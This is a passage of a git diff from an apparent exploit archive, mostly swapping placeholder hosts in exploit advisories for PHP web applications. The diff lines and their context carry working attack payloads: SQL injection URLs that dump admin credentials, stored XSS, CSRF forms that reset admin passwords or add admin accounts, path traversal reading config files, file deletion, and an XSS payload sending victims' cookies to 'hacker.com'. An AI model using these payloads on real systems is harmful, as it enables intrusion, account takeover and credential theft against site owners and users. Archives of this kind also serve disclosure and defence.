3. Add your php file , example : shell.php # -# 4. http://server/components/com_remository_files/ +# 4. http://www.Target.com/components/com_remository_files/ # # 5. If web server alowe to see directory you can see folder example : file_image_2 # diff --git a/platforms/php/webapps/14817.txt b/platforms/php/webapps/14817.txt index ba41c3f06..4792b2b41 100755 --- a/platforms/php/webapps/14817.txt +++ b/platforms/php/webapps/14817.txt @@ -42,4 +42,4 @@ SeeMe ; Inj3ctOr ; Sid3^effects ; L0rd CrusAd3r ;indoushka ; The_Exploited ===========================all my friend =================================== * PrX Hacker * Hacker Boy * AbUbAdR * mAsH3L ALLiL * DMaR AL-TMiMi | * Sm Hacker * Dj Hacker * KaSpEr NaJd * Viros RooT *HaNniBaL KsA | - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14819.html b/platforms/php/webapps/14819.html index b5b41bc3d..56288d3d8 100755 --- a/platforms/php/webapps/14819.html +++ b/platforms/php/webapps/14819.html @@ -51,4 +51,4 @@ Email : R7e@HoTMaiL.coM</font></b></p> </center> </html> - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14823.txt b/platforms/php/webapps/14823.txt index a3a588cac..1ca4e69a6 100755 --- a/platforms/php/webapps/14823.txt +++ b/platforms/php/webapps/14823.txt @@ -35,4 +35,4 @@ SeeMe ; Inj3ctOr ; Sid3^effects ; L0rd CrusAd3r ;indoushka ; The_Exploited * Sm Hacker * Dj Hacker * KaSpEr NaJd * Viros RooT *HaNniBaL KsA | =========================| -=[ THE END]=- |========================= - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14828.txt b/platforms/php/webapps/14828.txt index cb3b70ab7..4b5240132 100755 --- a/platforms/php/webapps/14828.txt +++ b/platforms/php/webapps/14828.txt @@ -28,7 +28,7 @@ # http://127.0.0.1/path/modules/articles/article.php?id=[SQL Injection] # # Example: -1337+uNiOn+sElEcT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- [You can find the number of vulnerable query] -# Demo: http://www.server/modules/articles/article.php?id=1%20union%20all%20select%201,2,3,4,@@version,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- +# Demo: http://www.site.com/modules/articles/article.php?id=1%20union%20all%20select%201,2,3,4,@@version,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- # # The Risk: # By exploiting this vulnerability, an attacker can inject malicious code in the script and can have access to the database. diff --git a/platforms/php/webapps/14834.txt b/platforms/php/webapps/14834.txt index 443c4865b..6b5344836 100755 --- a/platforms/php/webapps/14834.txt +++ b/platforms/php/webapps/14834.txt @@ -32,4 +32,4 @@ Add A New Comment And The exploit is in Name :) Peace - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14837.txt b/platforms/php/webapps/14837.txt index fc4d72a9b..66dac3787 100755 --- a/platforms/php/webapps/14837.txt +++ b/platforms/php/webapps/14837.txt @@ -27,4 +27,4 @@ http://localhost/cf_image_host_v1.3.81/inc/config.php?settings[SET_LANGUAGE]=[EV Gr33ts: Mr.MoDaMeR & SILVER FoX & Z7FAN HaCkEr & KinG oF CnTroL & MadjiX & Ma3sTr0-Dz Lagripe-Dz & Shi6oN HaCkEr & ALL Members sec4ever & ALL MY Friend in MsN & ALL Members Sa-HaCkE - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14839.txt b/platforms/php/webapps/14839.txt index d77b4f5ed..c460281d9 100755 --- a/platforms/php/webapps/14839.txt +++ b/platforms/php/webapps/14839.txt @@ -32,4 +32,4 @@ Put on the name & body of your comment any html code like: [~] Another note : You can bypass the limit of comments per day in this guestbook script By deleting the saved cookie in your computer ;) - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14841.txt b/platforms/php/webapps/14841.txt index b5fff2795..62fac33e9 100755 --- a/platforms/php/webapps/14841.txt +++ b/platforms/php/webapps/14841.txt @@ -31,4 +31,4 @@ http://localhost/fog/lib/pear/HTML/QuickForm.php?includeFile=[EV!L] Gr33ts: Mr.MoDaMeR & SILVER FoX & Z7FAN HaCkEr & Black Cobra & KinG oF CnTroL & MadjiX & Ma3sTr0-Dz Lagripe-Dz & Shi6oN HaCkEr & ALL Members sec4ever & ALL MY Friend in MsN & ALL Members Sa-HaCkE - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14848.txt b/platforms/php/webapps/14848.txt index f9a526bb3..e2586ffea 100755 --- a/platforms/php/webapps/14848.txt +++ b/platforms/php/webapps/14848.txt @@ -1,4 +1,4 @@ -# Exploit Title: [SQL injection in web-ideas web shop standard] + # Exploit Title: [SQL injection in web-ideas web shop standard] # Date: [31.08.2010] # Author: [Ariko-Security] # Software Link: [ http://www.web-ideas.com.au/web-shop_standard] diff --git a/platforms/php/webapps/14849.py b/platforms/php/webapps/14849.py index 0b89b7384..0e3cea25b 100755 --- a/platforms/php/webapps/14849.py +++ b/platforms/php/webapps/14849.py @@ -38,7 +38,7 @@ import http.client def usage(prog): print('Usage : ' + prog + ' <target> <path>\n') print('Example: ' + prog + ' localhost /mBlogger/') - print(' ' + prog + ' server /complet/path/') + print(' ' + prog + ' www.target.com /complet/path/') return diff --git a/platforms/php/webapps/14851.txt b/platforms/php/webapps/14851.txt index d5ddae04f..6c482bc9e 100755 --- a/platforms/php/webapps/14851.txt +++ b/platforms/php/webapps/14851.txt @@ -22,7 +22,7 @@ throw new DOMPDF_Exception("An input file is required (i.e. input_file _GET vari ================================================================== [x]expL0iT: -http://www.server/dompdf/dompdf.php?input_file=[evilc0de.txt?] +http://www.site.com/dompdf/dompdf.php?input_file=[evilc0de.txt?] ================================================================== ============================================================================================ diff --git a/platforms/php/webapps/14860.txt b/platforms/php/webapps/14860.txt index 273922180..e288cf02f 100755 --- a/platforms/php/webapps/14860.txt +++ b/platforms/php/webapps/14860.txt @@ -10,9 +10,9 @@ [#] 3xample: -http://www.server/index.php?sbjoke_id=-5592+union+all+select+1,2,3,4,concat(sbadmin_name,0x3a,sbadmin_pwd),6,7,8,9,10,11,12,13+from+sbjks_admin-- +http://www.site.com/index.php?sbjoke_id=-5592+union+all+select+1,2,3,4,concat(sbadmin_name,0x3a,sbadmin_pwd),6,7,8,9,10,11,12,13+from+sbjks_admin-- [#] Greetings: [Dr.2] , [darkc0de team] , [AsbMay's Group] , n all ... - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14876.txt b/platforms/php/webapps/14876.txt index 5b0644008..6de285f3c 100755 --- a/platforms/php/webapps/14876.txt +++ b/platforms/php/webapps/14876.txt @@ -1,4 +1,4 @@ -# Exploit Title: [Multiple vulnerabilities in SHOP A LA CART] + # Exploit Title: [Multiple vulnerabilities in SHOP A LA CART] # Date: [03.09.2010] # Author: [Ariko-Security] # Software Link: [http://shopalacart.com] diff --git a/platforms/php/webapps/14891.txt b/platforms/php/webapps/14891.txt index 03f6abf64..a1fc3a456 100755 --- a/platforms/php/webapps/14891.txt +++ b/platforms/php/webapps/14891.txt @@ -1,6 +1,6 @@ [~] Title: PHP CLASSIFIEDS ADS [~] Price: $49 -[~] Link : http://www.sellatserver/sellatsite/phpclass.asp +[~] Link : http://www.sellatsite.com/sellatsite/phpclass.asp [~] Author: BorN To K!LL - h4ck3r [~] 3xploit: @@ -15,4 +15,4 @@ http://www.example.com/classi/detail.php?sid=80 and 1=2-- // False ,, [~] Greetings: string Greetings[x] = ("Dr.2" , "Q8 H4x0r" , "AsbMay's Group" , "darkc0de team" , "and all my friends"); - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14896.txt b/platforms/php/webapps/14896.txt index c8821eccb..d8b2cfb40 100755 --- a/platforms/php/webapps/14896.txt +++ b/platforms/php/webapps/14896.txt @@ -15,3 +15,4 @@ Greetings:  No + \ No newline at end of file diff --git a/platforms/php/webapps/14901.txt b/platforms/php/webapps/14901.txt index a6ce9870b..e673834ac 100755 --- a/platforms/php/webapps/14901.txt +++ b/platforms/php/webapps/14901.txt @@ -7,7 +7,7 @@ [ Vulnerability 1 ] -http://www.server/joomlapath/index.php?option=com_clantools&squad=1+[Blind SQL] +http://www.site.com/joomlapath/index.php?option=com_clantools&squad=1+[Blind SQL] #Vulnerability was already reported, have a look at http://www.joomla-clantools.de to get a patch \ No newline at end of file diff --git a/platforms/php/webapps/14902.txt b/platforms/php/webapps/14902.txt index 1ec54f4b3..3cd24c3c9 100755 --- a/platforms/php/webapps/14902.txt +++ b/platforms/php/webapps/14902.txt @@ -7,10 +7,10 @@ [ Vulnerability 1 ] -http://www.server/joomlapath/index.php?option=com_clantools&squad=1+[Blind SQL] +http://www.site.com/joomlapath/index.php?option=com_clantools&squad=1+[Blind SQL] [ Vulnerability 2 ] -http://www.server/joomlapath/index.php?option=com_clantools&task=clanwar&showgame=1+[Blind SQL]&Itemid=999 +http://www.site.com/joomlapath/index.php?option=com_clantools&task=clanwar&showgame=1+[Blind SQL]&Itemid=999 #Vulnerability was already reported, have a look at http://www.joomla-clantools.de to get a patch \ No newline at end of file diff --git a/platforms/php/webapps/14910.txt b/platforms/php/webapps/14910.txt index 47470a69d..931bb8a70 100755 --- a/platforms/php/webapps/14910.txt +++ b/platforms/php/webapps/14910.txt @@ -31,4 +31,4 @@ else cout<<"No greeting ..\n"; } =========================================================== - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14915.txt b/platforms/php/webapps/14915.txt index 6f2e217b9..eb732b3dd 100755 --- a/platforms/php/webapps/14915.txt +++ b/platforms/php/webapps/14915.txt @@ -59,7 +59,7 @@ if ($image_size[0] > 760 || $image_size[1] > 760) { } ... Refer to size of file you can find your shell in following directory: - http://server/InterPhoto/MyWebsiteImages/ + http://site.com/InterPhoto/MyWebsiteImages/ 2)Persistent XSRFs: @@ -113,23 +113,23 @@ Because InterPhoto used nicedit for Image Description. --------------------------------------------- 5.1)Backup Database is Downloadable: +POC: - http://server/InterPhoto/admin/backup/ + http://site.com/InterPhoto/admin/backup/ +Fix: restrict access to this directory by .htaccess file. 5.2)Directory listing : +POC: - http://server/InterPhoto/admin/backup/ - http://server/InterPhoto/MyWebsiteImages - http://server/InterPhoto/UploadImages/ - http://server/InterPhoto/library/ - http://server/InterPhoto/languages/ - http://server/InterPhoto/includes/ - http://server/InterPhoto/config/ - http://server/InterPhoto/templates/ - http://server/InterPhoto/upgrade/ - http://server/InterPhoto/admin/includes/ - http://server/InterPhoto/admin/templates/ and .... + http://site.com/InterPhoto/admin/backup/ + http://site.com/InterPhoto/MyWebsiteImages + http://site.com/InterPhoto/UploadImages/ + http://site.com/InterPhoto/library/ + http://site.com/InterPhoto/languages/ + http://site.com/InterPhoto/includes/ + http://site.com/InterPhoto/config/ + http://site.com/InterPhoto/templates/ + http://site.com/InterPhoto/upgrade/ + http://site.com/InterPhoto/admin/includes/ + http://site.com/InterPhoto/admin/templates/ and .... +Fix: Create index.html in all folders. @@ -142,9 +142,9 @@ InterPhoto CMS has used Smarty library(Templet Engine). class Smarty_Compiler extends Smarty { ... +POC: - http://server/InterPhoto/library/smarty/libs/Smarty_Compiler.class.php - http://server/InterPhoto/library/smarty/libs/plugins/modifier.date_format.php - http://server/InterPhoto/library/smarty/templates_c/[ all files. ] + http://site.com/InterPhoto/library/smarty/libs/Smarty_Compiler.class.php + http://site.com/InterPhoto/library/smarty/libs/plugins/modifier.date_format.php + http://site.com/InterPhoto/library/smarty/templates_c/[ all files. ] +Fix: Add frist page : if(class_exists('Smarty')){ diff --git a/platforms/php/webapps/1492.php b/platforms/php/webapps/1492.php index 06c1d0026..77a41c32c 100755 --- a/platforms/php/webapps/1492.php +++ b/platforms/php/webapps/1492.php @@ -19,7 +19,7 @@ OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ -$target = "http://server/forums/"; // <--- Where ? +$target = "http://site.com/forums/"; // <--- Where ? $prefix = "ibf_"; // <--- SQL prefix ? $id = 1; // <--- Who ? diff --git a/platforms/php/webapps/14923.txt b/platforms/php/webapps/14923.txt index e3f5a343f..92a17f71e 100755 --- a/platforms/php/webapps/14923.txt +++ b/platforms/php/webapps/14923.txt @@ -16,7 +16,7 @@ [+] ExploiT [2] : If you are allowed to book an event: Persistent XSS Vulnerability: You can inject Javascript Code in [Name] , [Email] , [Phonenumber] , [Comment] - The Code will be displayed in the Wordpress Backend -> http://www.server/wp-admin/admin.php?page=events-manager-people + The Code will be displayed in the Wordpress Backend -> http://www.site.com/wp-admin/admin.php?page=events-manager-people ======================================================= diff --git a/platforms/php/webapps/14927.txt b/platforms/php/webapps/14927.txt index c96983882..c383c29ac 100755 --- a/platforms/php/webapps/14927.txt +++ b/platforms/php/webapps/14927.txt @@ -42,7 +42,7 @@ DynPage is written in PHP and does not require MySQL database. It's easy to inst +POC: - http://www.server/dynpage/content/dynpage_load.php?file=../.htaccess%00 + http://www.Site.com/dynpage/content/dynpage_load.php?file=../.htaccess%00 2)Admin hash Disclosure: @@ -54,7 +54,7 @@ DynPage is written in PHP and does not require MySQL database. It's easy to inst // Default login admin "default_login_hash" => "d2abaa37a7c3db1137d385e1d8c15fd2", +POC:for see this hash: - http://www.server/dynpage/content/dynpage_load.php?file=../config_global.inc.php%00 + http://www.Site.com/dynpage/content/dynpage_load.php?file=../config_global.inc.php%00 2-b)the hash password stored as SESSION in /conf/init.inc.php. <?php @@ -64,7 +64,7 @@ DynPage is written in PHP and does not require MySQL database. It's easy to inst $_SESSION['DYNPAGE_CONF_VAR_ALL']['admin_email']="a@a.com"; ?> +POC:for see this hash: - http://www.server/dynpage/content/dynpage_load.php?file=../conf/init.inc.php%00 + http://www.Site.com/dynpage/content/dynpage_load.php?file=../conf/init.inc.php%00 \ No newline at end of file diff --git a/platforms/php/webapps/14931.php b/platforms/php/webapps/14931.php index c8c3f26be..57d05f271 100755 --- a/platforms/php/webapps/14931.php +++ b/platforms/php/webapps/14931.php @@ -123,3 +123,4 @@ $guyanarules = new Javabridgexploit($argv); ?> + \ No newline at end of file diff --git a/platforms/php/webapps/14960.txt b/platforms/php/webapps/14960.txt index b35d53409..70c7d49a3 100755 --- a/platforms/php/webapps/14960.txt +++ b/platforms/php/webapps/14960.txt @@ -1,4 +1,4 @@ -----------------------------Information------------------------------------------------ + ----------------------------Information------------------------------------------------ +Name : ES Simple Download v 1.0. Local File Exclusion/LFI +Autor : Kazza +email : kazzamagic@list.ru @@ -15,3 +15,4 @@ +Vulnerability : www.your script/download.php?PHPSESSID="Your Senssid"&file=../***** +Password Exploitable : www.your script/download.php?PHPSESSID="Your Senssid"&file=../../config.php ----------------------------------------------------------------------------------------- + \ No newline at end of file diff --git a/platforms/php/webapps/14973.txt b/platforms/php/webapps/14973.txt index 87e958256..1f0b2a6b9 100755 --- a/platforms/php/webapps/14973.txt +++ b/platforms/php/webapps/14973.txt @@ -1,11 +1,11 @@ --=Sql injection=-- -http://server/path/comments.php?keyword=charif38@hotmail.fr&author=sweet&cat=1[SQLi]&since=1&sort_by=date&sort_order=DESC&items_number=5 +http://www.target.com/path/comments.php?keyword=charif38@hotmail.fr&author=sweet&cat=1[SQLi]&since=1&sort_by=date&sort_order=DESC&items_number=5 -http://server/path/picture.php?1sweet[SQLi]&action=rate=0 +http://www.target.com/path/picture.php?1sweet[SQLi]&action=rate=0 -http://server/path/index.php?/search/10[SQli] +http://www.target.com/path/index.php?/search/10[SQli] --=Stored Xss=-- @@ -13,11 +13,11 @@ http://server/path/index.php?/search/10[SQli] Admin login required Attack pattern : >'<script>alert("Sweet")</script> -http://server/path/admin.php?page=tags +http://www.target.com/path/admin.php?page=tags The POST variable "Nouveau tag" is vulnerable to a stored xss attack -http://server/path/admin.php?page=cat_list +http://www.target.com/path/admin.php?page=cat_list The POST variable "Ajouter une catégorie virtuelle" is vulnerable to a stored xss attack @@ -29,7 +29,7 @@ Change admin password exploit <html> <body> <h1>Piwigo-2.1.2 Change admin password CSRF </h1> -<form method="POST" name="form0" action="http://server/path/admin.php?page=profile&user_id=1"> +<form method="POST" name="form0" action="http://www.target.com/path/admin.php?page=profile&user_id=1"> <input type="hidden" name="redirect" value="admin.php?page"/> <input type="hidden" name="mail_address" value="charif38@hotmail.fr"/> <!-- Your email here --> <input type="hidden" name="use_new_pwd" value="sweet"/> <!-- Your password here --> @@ -46,7 +46,7 @@ Change admin password exploit <input type="hidden" name="maxheight" value=""/> <p> Push the Button <input type="submit" name="validate" value="Valider"/> </p> </form> -<form method="GET" name="form1" action="http://server/path/admin.php?page=user_list"> +<form method="GET" name="form1" action="http://www.target.com/path/admin.php?page=user_list"> <input type="hidden" name="name" value="value"/> </form> </body> diff --git a/platforms/php/webapps/14985.txt b/platforms/php/webapps/14985.txt index ff1568b36..cb100c1fe 100755 --- a/platforms/php/webapps/14985.txt +++ b/platforms/php/webapps/14985.txt @@ -1,4 +1,4 @@ -_____ ______ _____ _____ ______ _______ + _____ ______ _____ _____ ______ _______ / ____| ____/ ____| __ \| ____|__ __| | (___ | |__ | | | |__) | |__ | | \___ \| __|| | | _ /| __| | | @@ -32,4 +32,4 @@ Greetz to all brothers & sisters who are fighting for freedom in IRAN... contact : secret_hf@hotmail.com - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14989.txt b/platforms/php/webapps/14989.txt index eb9492b30..03a23f9c1 100755 --- a/platforms/php/webapps/14989.txt +++ b/platforms/php/webapps/14989.txt @@ -58,4 +58,4 @@ EnJoY o_O ./3x17 - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14996.txt b/platforms/php/webapps/14996.txt index 9741e6167..8129edf30 100755 --- a/platforms/php/webapps/14996.txt +++ b/platforms/php/webapps/14996.txt @@ -29,4 +29,4 @@ in GetTemplate function , line 113 to 127 Dr.2 , darkc0de team , inj3ct0r's Community , and all ma friends ,, == - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14997.txt b/platforms/php/webapps/14997.txt index a895d6af8..2d377aa06 100755 --- a/platforms/php/webapps/14997.txt +++ b/platforms/php/webapps/14997.txt @@ -1,4 +1,4 @@ -__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__ + __--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__ */ Author : KnocKout */ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers diff --git a/platforms/php/webapps/15006.txt b/platforms/php/webapps/15006.txt index 22bd95af2..c7859e041 100755 --- a/platforms/php/webapps/15006.txt +++ b/platforms/php/webapps/15006.txt @@ -21,7 +21,7 @@ http://localhost/[eNdonesia 8.4]/mod.php?mod=publisher&op=printarticle&artid=[va [ DEMO ] -http://www.server/mod.php?mod=publisher&op=printarticle&artid=-47+union+select+1,concat_ws%280x3a,aid,name,pwd%29,3,4,5,6,7+from+authors-- +http://www.site.com/mod.php?mod=publisher&op=printarticle&artid=-47+union+select+1,concat_ws%280x3a,aid,name,pwd%29,3,4,5,6,7+from+authors-- ===================================================================================================================================================/ diff --git a/platforms/php/webapps/15014.txt b/platforms/php/webapps/15014.txt index c864aa810..79c8aa5e1 100755 --- a/platforms/php/webapps/15014.txt +++ b/platforms/php/webapps/15014.txt @@ -13,7 +13,7 @@ ---=Stored Xss=--- admin login required -in http://server/path/admin/index.php? the post variable "Image Title" and "tags" are vulnerable to a stored Xss +in http://www.target.com/path/admin/index.php? the post variable "Image Title" and "tags" are vulnerable to a stored Xss attack pattern:>"<script>alert("sweet")</script> @@ -21,10 +21,10 @@ attack pattern:>"<script>alert("sweet")</script> <html> <body> <h1>Pixelpost_v1.7.3 change admin password CSRF by Sweet </h1> -<form method="POST" name="form0" action="http://server/path/admin/index.php?view=options&optaction=updateall"> +<form method="POST" name="form0" action="http://www.target.com/path/admin/index.php?view=options&optaction=updateall"> <input type="hidden" name="new_site_title" value="Pixelpost"/> <input type="hidden" name="new_sub_title" value="Authentic photoblog flavour"/> -<input type="hidden" name="new_site_url" value="http://server/path/"/> +<input type="hidden" name="new_site_url" value="http://www.target.com/path/"/> <input type="hidden" name="new_admin_user" value="admin"/> <input type="hidden" name="newadminpass" value="password"/> <!-- Your password here --> <input type="hidden" name="newadminpass_re" value="password"/> <!-- Your password here --> @@ -45,7 +45,7 @@ attack pattern:>"<script>alert("sweet")</script> <input type="hidden" name="exif" value="T"/> <input type="hidden" name="feed_title" value="Pixelpost"/> <input type="hidden" name="feed_description" value="Authentic photoblog flavour"/> -<input type="hidden" name="feed_copyright" value="Copyright 2010 http://server/path/, All Rights Reserved"/> +<input type="hidden" name="feed_copyright" value="Copyright 2010 http://www.target.com/path/, All Rights Reserved"/> <input type="hidden" name="feed_discovery" value="RA"/> <input type="hidden" name="feed_external_type" value="ER"/> <input type="hidden" name="feed_external" value=""/> diff --git a/platforms/php/webapps/15029.txt b/platforms/php/webapps/15029.txt index 01fb48f15..fe18f1880 100755 --- a/platforms/php/webapps/15029.txt +++ b/platforms/php/webapps/15029.txt @@ -27,12 +27,12 @@ or disseminate via email, and allows anecdotal information and possible leads to -------------------------- 1-1)Directory listing: +POC: - http://server/phpmyfamily/admin/ - http://server/phpmyfamily/docs/ - http://server/phpmyfamily/images/ - http://server/phpmyfamily/inc/ - http://server/phpmyfamily/lang/ - http://server/phpmyfamily/styles/ + http://site.com/phpmyfamily/admin/ + http://site.com/phpmyfamily/docs/ + http://site.com/phpmyfamily/images/ + http://site.com/phpmyfamily/inc/ + http://site.com/phpmyfamily/lang/ + http://site.com/phpmyfamily/styles/ +Fix: Create index.html in all folders. @@ -48,23 +48,23 @@ or disseminate via email, and allows anecdotal information and possible leads to echo "<font color=\"red\">".$reason."</font>"; +POC: This poc send victim's cookie(contions username and MD5 password) to attacker site. - http://server/phpmyfamily/inc/passwdform.inc.php?reason=<script>document.write("<img src='hacker.com/c.php?cookie="+document.cookie +"'/>")</script> + http://SITE.com/phpmyfamily/inc/passwdform.inc.php?reason=<script>document.write("<img src='hacker.com/c.php?cookie="+document.cookie +"'/>")</script> +other poc: a)census.php[line23-26] - http://server/phpmyfamily/census.php?ref=<script>document.write("<img src='hacker.com/c.php?cookie="+document.cookie +"'/>")</script> + http://SITE.com/phpmyfamily/census.php?ref=<script>document.write("<img src='hacker.com/c.php?cookie="+document.cookie +"'/>")</script> b)mail.php[line 25-35] - http://server/phpmyfamily/mail.php?referer=<SCRIPT CODE> + http://SITE.com/phpmyfamily/mail.php?referer=<SCRIPT CODE> c)track.php[line 23-26] - http://server/phpmyfamily/track.php?person=<SCRIPT CODE> + http://SITE.com/phpmyfamily/track.php?person=<SCRIPT CODE> d)people.php[line ] - http://server/phpmyfamily/people.php?person=1>"><ScRiPt%20%0a%0d>alert(404385187829)%3B</ScRiPt> + http://SITE.com/phpmyfamily/people.php?person=1>"><ScRiPt%20%0a%0d>alert(404385187829)%3B</ScRiPt> 3)Path Disclosure: -------------------------------------- +POC: - http://server/phpmyfamily/admin.php?func=ged - http://server/phpmyfamily/inc/gedcom.inc.php + http://SITE.com/phpmyfamily/admin.php?func=ged + http://SITE.com/phpmyfamily/inc/gedcom.inc.php 4)SQL Injection: ------------- @@ -73,7 +73,7 @@ or disseminate via email, and allows anecdotal information and possible leads to $query = "UPDATE ".$tblprefix."users SET email = '".$_POST["pwdEmail"]."' WHERE id = '".$_SESSION["id"]."'"; $result = mysql_query($query) or die(mysql_error()); +POC: - http://server/phpmyfamily/my.php?func=email&pwdEmail=bbb@aa.com',edit='Y'%00 + http://SITE.com/phpmyfamily/my.php?func=email&pwdEmail=bbb@aa.com',edit='Y'%00 <form method="post" action="my.php?func=email"> <input type="text" name="pwdEmail" value="bbb@aa.com',edit='Y';%00"> <input type="submit" value="send"> @@ -82,8 +82,8 @@ or disseminate via email, and allows anecdotal information and possible leads to use function quote_smart: $query = "UPDATE ".$tblprefix."users SET email = '".quote_smart($_POST["pwdEmail"])."' WHERE id = '".$_SESSION["id"]."'"; +other: - track.php[line 145-148] http://server/phpmyfamily/track.php - passthru.php [line 221-220] http://server/phpmyfamily/passthru.php + track.php[line 145-148] http://SITE.com/phpmyfamily/track.php + passthru.php [line 221-220] http://SITE.com/phpmyfamily/passthru.php and ... 5)Delete File: @@ -93,7 +93,7 @@ CMS's users can delete each file by this Vulnerability. $docFile = "docs/".$_REQUEST["transcript"]; if (@unlink($docFile) || !file_exists($docFile)) +POC: - http://server/phpmyfamily/passthru.php?func=delete&area=transcript&person=00002&transcript=../../../file.ext + http://SITE.com/phpmyfamily/passthru.php?func=delete&area=transcript&person=00002&transcript=../../../file.ext +Fix: use function quote_smart: $docFile = "docs/".quote_smart($_REQUEST["transcript"]); @@ -124,5 +124,5 @@ CMS's users can delete each file by this Vulnerability. document.body.appendChild(form); form.submit(); } - creat_request('http://server/phpmyfamily/admin.php?func=add',{'pwdUser':'aaaa','pwdEmail':'aa%40sss.com','pwdPwd1':'123','pwdPwd2':'123','pwdEdit':'on','pwdRestricted':'1910-01-01','pwdStyle':'default','Create':'Submit+Query'}); + creat_request('http://SITE.com/phpmyfamily/admin.php?func=add',{'pwdUser':'aaaa','pwdEmail':'aa%40sss.com','pwdPwd1':'123','pwdPwd2':'123','pwdEdit':'on','pwdRestricted':'1910-01-01','pwdStyle':'default','Create':'Submit+Query'}); </script> diff --git a/platforms/php/webapps/1503.pl b/platforms/php/webapps/1503.pl index e482665ac..12f83b7f4 100755 --- a/platforms/php/webapps/1503.pl +++ b/platforms/php/webapps/1503.pl @@ -6,8 +6,8 @@ # All rights reserved. # # never ctrl+c again. -# cijfer$ http://server/dir -# host changed to 'http://server/dir' +# cijfer$ http://target.com/dir +# host changed to 'http://target.com/dir' # cijfer$ # # to set your PHP shell location: @@ -52,7 +52,7 @@ sub usage { print "YapBB <=1.2 Beta Remote Command Execution Exploit\n"; print "usage: $0 -hpv\n\n"; - print " -h, --host\t\tfull address of target (ex. http://www.webserver/directory)\n"; + print " -h, --host\t\tfull address of target (ex. http://www.website.com/directory)\n"; print " -p, --proxy\t\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n"; print " -v, --verbose\t\tverbose mode (debug)\n\n"; exit; diff --git a/platforms/php/webapps/15037.html b/platforms/php/webapps/15037.html index f3c75066e..a157389a8 100755 --- a/platforms/php/webapps/15037.html +++ b/platforms/php/webapps/15037.html @@ -102,7 +102,7 @@ Here is vulnerable code: form.submit(); } function bypass(){ - creat_request('http://server/cmsimple/',{'security_password':'test1','security_type':'page','site_title':'ALERT.','site_template':'default','language_default':'en','meta_keywords':'CMSimple%2C+Content+Management+System%2C+php','meta_description':'CMSimple+is+a+simple+content+management+system+for+smart+maintainance+of+small+commercial+or+private+sites.+It+is+simple+-+small+-+smart%21','backup_numberoffiles':'5','images_maxsize':'150000','downloads_maxsize':'1000000','mailform_email':'','editor_height':'%28screen.availHeight%29-400','editor_external':'','menu_color':'000000','menu_highlightcolor':'808080','menu_levels':'3','menu_levelcatch':'10','menu_sdoc':'','menu_legal':'CMSimple+Legal+Notices','uri_seperator':'%3A','uri_length':'200','xhtml_endtags':'','xhtml_amp':'true','plugins_folder':'','functions_file':'functions.php','scripting_regexp':'%5C%23CMSimple+%28.*%3F%29%5C%23','form':'array','file':'config','action':'save'}); + creat_request('http://site.com/cmsimple/',{'security_password':'test1','security_type':'page','site_title':'ALERT.','site_template':'default','language_default':'en','meta_keywords':'CMSimple%2C+Content+Management+System%2C+php','meta_description':'CMSimple+is+a+simple+content+management+system+for+smart+maintainance+of+small+commercial+or+private+sites.+It+is+simple+-+small+-+smart%21','backup_numberoffiles':'5','images_maxsize':'150000','downloads_maxsize':'1000000','mailform_email':'','editor_height':'%28screen.availHeight%29-400','editor_external':'','menu_color':'000000','menu_highlightcolor':'808080','menu_levels':'3','menu_levelcatch':'10','menu_sdoc':'','menu_legal':'CMSimple+Legal+Notices','uri_seperator':'%3A','uri_length':'200','xhtml_endtags':'','xhtml_amp':'true','plugins_folder':'','functions_file':'functions.php','scripting_regexp':'%5C%23CMSimple+%28.*%3F%29%5C%23','form':'array','file':'config','action':'save'}); } </script> diff --git a/platforms/php/webapps/15039.txt b/platforms/php/webapps/15039.txt index ad86bf6a9..49a775bf2 100755 --- a/platforms/php/webapps/15039.txt +++ b/platforms/php/webapps/15039.txt @@ -1,4 +1,4 @@ -________ _____________ / /_ + ________ _____________ / /_ / ___/ _ \/ ___/ ___/ _ \/ __/ (__ ) __/ /__/ / / __/ /_ /____/\___/\___/_/ \___/\__/ @@ -33,4 +33,4 @@ e.g. http://server/product_reviews_info.php?products_id=4' ALLAH - الله لا إله لا ايل -To all my brothers & sisters in IRAN - god bless you - support the GREEN REVOLUTION \ No newline at end of file +To all my brothers & sisters in IRAN - god bless you - support the GREEN REVOLUTION \ No newline at end of file diff --git a/platforms/php/webapps/15046.txt b/platforms/php/webapps/15046.txt index 4923377f6..34029f0ef 100755 --- a/platforms/php/webapps/15046.txt +++ b/platforms/php/webapps/15046.txt @@ -1,4 +1,4 @@ -________ _____________ / /_ + ________ _____________ / /_ / ___/ _ \/ ___/ ___/ _ \/ __/ (__ ) __/ /__/ / / __/ /_ /____/\___/\___/_/ \___/\__/ ##################################################################### @@ -30,4 +30,4 @@ e.g. http://server/index.php?page_id=prod&brandid=248+and+1=0+Union+Select+[VISI ALLAH - الله لا إله لا ايل -To all my brothers & sisters in IRAN - god bless you - support the GREEN REVOLUTION \ No newline at end of file +To all my brothers & sisters in IRAN - god bless you - support the GREEN REVOLUTION \ No newline at end of file diff --git a/platforms/php/webapps/15049.txt b/platforms/php/webapps/15049.txt index 2d1edd6e0..b8682ffe8 100755 --- a/platforms/php/webapps/15049.txt +++ b/platforms/php/webapps/15049.txt @@ -1,4 +1,4 @@ -________ _____________ / /_ + ________ 